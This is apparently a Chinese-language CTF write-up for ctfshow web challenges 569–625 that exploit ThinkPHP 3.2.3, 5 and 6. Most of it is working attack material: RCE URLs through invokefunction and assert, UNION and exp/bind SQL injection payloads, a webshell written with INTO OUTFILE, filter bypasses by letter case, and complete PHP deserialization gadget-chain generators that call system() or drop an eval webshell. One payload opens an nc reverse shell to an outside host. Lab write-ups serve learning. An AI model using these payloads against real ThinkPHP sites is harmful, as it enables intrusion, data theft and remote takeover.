web569
考察thinkphp3.2.3版本的路由格式
thinkphp3.2.3手册
# 模块/控制器/方法/参数名/参数值
PATHINFO模式
/index.php/Admin/Login/ctfshowLogin
普通模式
/index.php?m=Admin&c=Login&f=ctfshowLogin
兼容模式
/index.php?s=Admin/Login/ctfshowLogin
REWRITE模式
/Admin/Login/ctfshowLogin
web570
有一条添加的路由规则
可以直接调用call_user_func执行任意函数
第一个参数为回调函数,第二个参数只能为回调函数的参数。
我们使用/ctfshow/system/ls可以执行命令,但无法传递/
字符
使用assert函数,可以将参数解析为php代码。
/ctfshow/assert/system($_POST[1])
web571
下载composer
一键搭建环境
composer create-project topthink/thinkphp=3.2.3 tp3
下载xdebug插件
添加配置信息如下:
[Xdebug]
zend_extension = xdebug
xdebug.collect_params=1
xdebug.collect_return=1
xdebug.auto_trace=On
xdebug.profiler_enable=On
xdebug.mode=debug
xdebug.client_host=127.0.0.1
xdebug.remote_host=127.0.0.1
xdebug.remote_port=9003
浏览器下载xdebug helper插件后即可开始调试
我们可以控制传入show函数的变量n
可以看到经过show函数在TMPL_NEGINE_TYPE是php的时候会执行到eval函数
这相当于一个ssti
?n=%3C?php%20system(%27cat%20/flag_is_here%27)?%3E
web572
使用ThinkphpGUI工具直接能扫出来存在日志泄露。
另一个工具可以选择日期爆破
当开启debug模式时,会在Runtime目录下生成log文件,文件名称是年_月_日.log
,所以可以爆破出日志文件。
intruder设置如下进行爆破
发现/Application/Runtime/Logs/Home/21_04_15.log
文件里有命令执行日志
/index.php?showctf=<?php%20system("cat%20/flag_is_here");?>
web573
Thinkphp3.2.3版本中存在sql注入漏洞
但是上面两个工具没有这个漏洞的检测😭
参考分析文章
源码:
class IndexController extends Controller {
public function index(){
$a = M('xxx');
$id = I('GET.id');
$b = $a->find($id);
var_dump($b);
}
}
payload
?id[where]=0 union select 1,TABLE_NAME,1,1 from information_schema.tables where table_schema="ctfshow" limit 1,1--
?id[where]=0 union select 1,COLUMN_NAME,1,1 from information_schema.columns where table_name="flags" limit 1,1--
?id[where]=0 union select 1,flag4s,1,1 from flags
web574
WHERE型注入
源码
public function index($id=1){
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}
payload
0) union select 1,TABLE_NAME,1,1 from information_schema.tables where table_schema="ctfshow" limit 1,1--
0) union select 1,COLUMN_NAME,1,1 from information_schema.columns where table_name="flags" limit 1,1--
0) union select 1,flag4s,1,1 from flags--
web575
反序列化
$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}
可以利用show函数执行命令
payload
<?php
namespace Home\Controller{
class IndexController{
public $id='1';
public $username='<?php system("nc ip 1337 -e /bin/sh");?>';
}
}
namespace{
use Home\Controller\IndexController;
echo base64_encode(serialize(new IndexController));
}
?>
修改cookie同时GET传入id=1
因为thinkphp3.2.3本身是存在反序列化链的,也可以换一种方法。(这里省略了)
限制比较多:需要php5(当然这里肯定是)。
利用任意文件读,无法确定flag位置。
详细参考https://blog.csdn.net/miuzzx/article/details/119424101
web576
COMMENT型注入
$user = M('Users')->comment($id)->find(intval($id));
调试程序发现parseComment()
函数
使用/**/
进行注释,我们可以输入*/
来闭合进行注入。
这种属于limit注入
我这里尝试了不能使用union
payload
1*/ into outfile "/var/www/html/1.php" lines terminated by "<?php eval($_POST[1]);?>"/*
web577
WHERE型注入
$map=array(
'id'=>$_GET['id']
);
$user = M('Users')->where($map)->find();
这里使用ThinkPHP3.2.3的exp,bind注入。
exp,bind是ThinkPHP3.2.3提供的一种表达式查询功能,参考手册
关键在parseWhereItem()
函数
当数组第一个值为bind或exp时,会直接将第二个值拼接到sql语句中。
前面有一个字段类型验证,但这里$val是一个数组,is_scalar()函数会返回false。
payload
?id[0]=exp&id[1]==0 union select 1,flag4s,2,3 from flags--+
web578
变量覆盖+模板注入
public function index($name='',$from='ctfshow'){
$this->assign($name,$from);
$this->display('index');
}
ThinkPHP默认模板引擎设置是text/html
ThinkPHP/Conf/convention.php
/* 模板引擎设置 */
'TMPL_CONTENT_TYPE' => 'text/html', // 默认模板输出类型
这题设置为了php,才能够利用。
我们使用assign函数赋值进行变量覆盖$_contents变量,当$_contents非空时会进入到eval函数中。
payload
?name=_content&from=<?php%20phpinfo();?>
查看assign函数细节,当$name为数组时可以直接进行赋值,而不需要$value。
换一种payload
?name[_content]=<?php%20phpinfo();?>
web579
ThinkPHP5 未开启强制路由RCE
payload
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=cat%20/flag_is_here
web604
继续使用上题的payload,提示invokefunction被禁用了。
尝试其他控制器。
payload
?s=index/think\request/input?data[0]=cat%20../../../../flag_heeeeae&filter=system
web605
过滤了input和display
使用这个显示找不到类,有点不懂。
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
使用这个可以写shell
?s=index/\think\template\driver\File/write&cacheFile=shell.php&content=<?php%20phpinfo();?>
web606
将write也过滤了
总结一下,一共过滤了
invokefunction、display、input、write
使用大小写即可绕过
?s=index/\think\app/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][0]=cat%20/flag_heeeeae
web607
web608
web609
web610
同样大小写绕过
web611
考察ThinkPHP5的反序列化利用链。
payload
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["a"=>["a","a"]];
$this->data = ["a"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "";
protected $config = [];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
//use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>
POST传入反序列化数据,GET传入命令执行参数。
web612
修改上题中isAjax
为isPjax
$this->hook['visible'] = [$this, 'isPjax'];
$this->config['var_pjax'] = '';
web613
web614
web615
web616
web617
web618
web619
web620
web621
使用Reqeust
$this->hook['visible'] = [$this, 'Request'];
web622
web623
考察ThinkPHP6的反序列化利用链
payload
<?php
namespace think {
use think\route\Url;
abstract class Model
{
private $lazySave;
private $exists;
protected $withEvent;
protected $table;
private $data;
private $force;
public function __construct()
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->table = new Url();
$this->force = true;
$this->data = ["1"];
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model
{
function __construct()
{
parent::__construct();
}
}
$b = new Pivot();
echo urlencode(serialize($b));
}
namespace think\route {
use think\Middleware;
use think\Validate;
class Url
{
protected $url;
protected $domain;
protected $app;
protected $route;
public function __construct()
{
$this->url = 'a:';
$this->domain = "<?php system('whoami');?>";
$this->app = new Middleware();
$this->route = new Validate();
}
}
}
namespace think {
use think\view\driver\Php;
class Validate
{
public function __construct()
{
$this->type['getDomainBind'] = [new Php(), 'display'];
}
}
class Middleware
{
public function __construct()
{
$this->request = "2333";
}
}
}
namespace think\view\driver {
class Php
{
public function __construct()
{
}
}
}
web624
web625
换一条利用链,直接写shell
<?php
namespace League\Flysystem\Cached\Storage{
use League\Flysystem\Adapter\Local;
class Adapter{
protected $autosave = true;
protected $expire = null;
protected $adapter;
protected $file;
public function __construct()
{
$this->autosave = false;
$this->expire = '<?php @eval($_POST[1]);?>';
$this->adapter = new Local();
$this->file = '1.php';
}
}
}
namespace League\Flysystem\Adapter{
class Local{
}
}
namespace {
use League\Flysystem\Cached\Storage\Adapter;
echo urlencode(serialize(new Adapter()));
}